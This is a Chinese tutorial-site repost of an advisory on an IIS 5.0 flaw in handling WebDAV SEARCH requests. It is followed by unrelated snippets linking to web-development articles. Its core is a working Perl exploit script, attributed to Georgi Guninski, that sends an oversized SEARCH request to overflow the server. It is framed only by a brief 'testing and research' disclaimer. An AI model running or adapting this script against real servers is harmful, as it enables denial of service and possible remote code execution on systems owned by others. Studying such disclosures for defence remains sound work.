IIS 处理 SEARCH 请求漏洞

2016-01-29 18:22 5 1 收藏

IIS 处理 SEARCH 请求漏洞,IIS 处理 SEARCH 请求漏洞

【 tulaoshi.com - ASP 】

  涉及程序:
IIS
  
描述:
通过构造特殊的 SEARCH 请求导致 IIS 执行攻击者代码漏洞
  
详细:
发现 IIS 在处理 SEARCH 请求时存在漏洞,攻击者通过提交构造特殊的 IIS SEARCH 请求能重启与 IIS 相关的所有服务,而且可能远程执行任意代码。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负



Details:
--vv6.pl-------------------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
printf "IIS 5.0 SEARCHnWritten by Georgi Guninski wait some timen";
if(@ARGV < 2) { die "nUsage: IIS5host port n"; }
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$socket = IO::Socket::INET-new(PeerAddr = $host,PeerPort = $port,Proto = "TCP") || return;
$over=$ch x $ll; #string to overflow
$xml='<?xml version="1.0"?<D:searchrequest xmlns:D="DAV:"<D:sqlSELECT DAV:displayname from SCOPE
("'.$over.'")</D:sql</D:searchrequest'."n";
$l=length($xml);
$req="SEARCH / HTTP/1.1nContent-type: text/xmlnHost: $hostnContent-length: $lnn$xmlnn";
syswrite($socket,$req,length($req));
print ".";
$socket-read($res,3000);
print "r=".$res;
close $socket;
}
do vv(126000,"V");
sleep(1);
do vv(126000,"V");
#Try 125000 - 128000
---------------------------------------------------------------

受影响系统:
IIS 5.0  
 

来源:https://www.tulaoshi.com/n/20160129/1505502.html

延伸阅读
标签: Web开发
在ajax应用中,通常一个页面要同时发送多个请求,如果只有一个XMLHttpRequest对象,前面的请求还未完成,后面的就会把前面的覆盖掉,如果每次都创建一个新的XMLHttpRequest对象,也会造成浪费。解决的办法就是创建一个XMLHttpRequset的对象池,如果池里有空闲的对象,则使用此对象,否则将创建一个新的对象。 下面是我最近写的一个简单的类: ...
标签: Web开发
     发出异步请求并不意味着只是与您自己的服务器端程序交互。其实也可以与一些公共 API,例如来自 Google 或 Amazon 的 API 进行通信,从而为 Web 应用程序增加您自己的脚本和服务器端程序所不能提供的更多功能。在本文中,Brett McLaughlin 教您如何向公共 API,例如 Google 提供的 API 发出请求并接收其响应。 ...
NSURLConnection 作为 Core Foundation / CFNetwork 框架的 API 之上的一个抽象,在 2003 年,随着第一版的 Safari 的发布就发布了。NSURLConnection 这个名字,实际上是指代的 Foundation 框架的 URL 加载系统中一系列有关联的组件:NSURLRequest、NSURLResponse、NSURLProtocol、 NSURLCache、 NSHTTPCookieStorage、NSURLCredentialStorage ...
标签: Web开发
Demonstration script that uses Microsoft Word to locate all the  .mp3 files stored on drive C of the local computer 代码如下: Set objWord = CreateObject("Word.Application") Set objDoc = objWor...
标签: Web开发
Search Engine Friendly的URL设计版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明 http://www.chedong.com/tech/google_url.html关键词:"url rewrite" mod_rewrite isapirewrite path_info "search engine friendly" 内容摘要: 此外随着互联网上的内容以惊人速度的增长也越来越突出了搜索引擎的重要...

经验教程

388

收藏

43
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部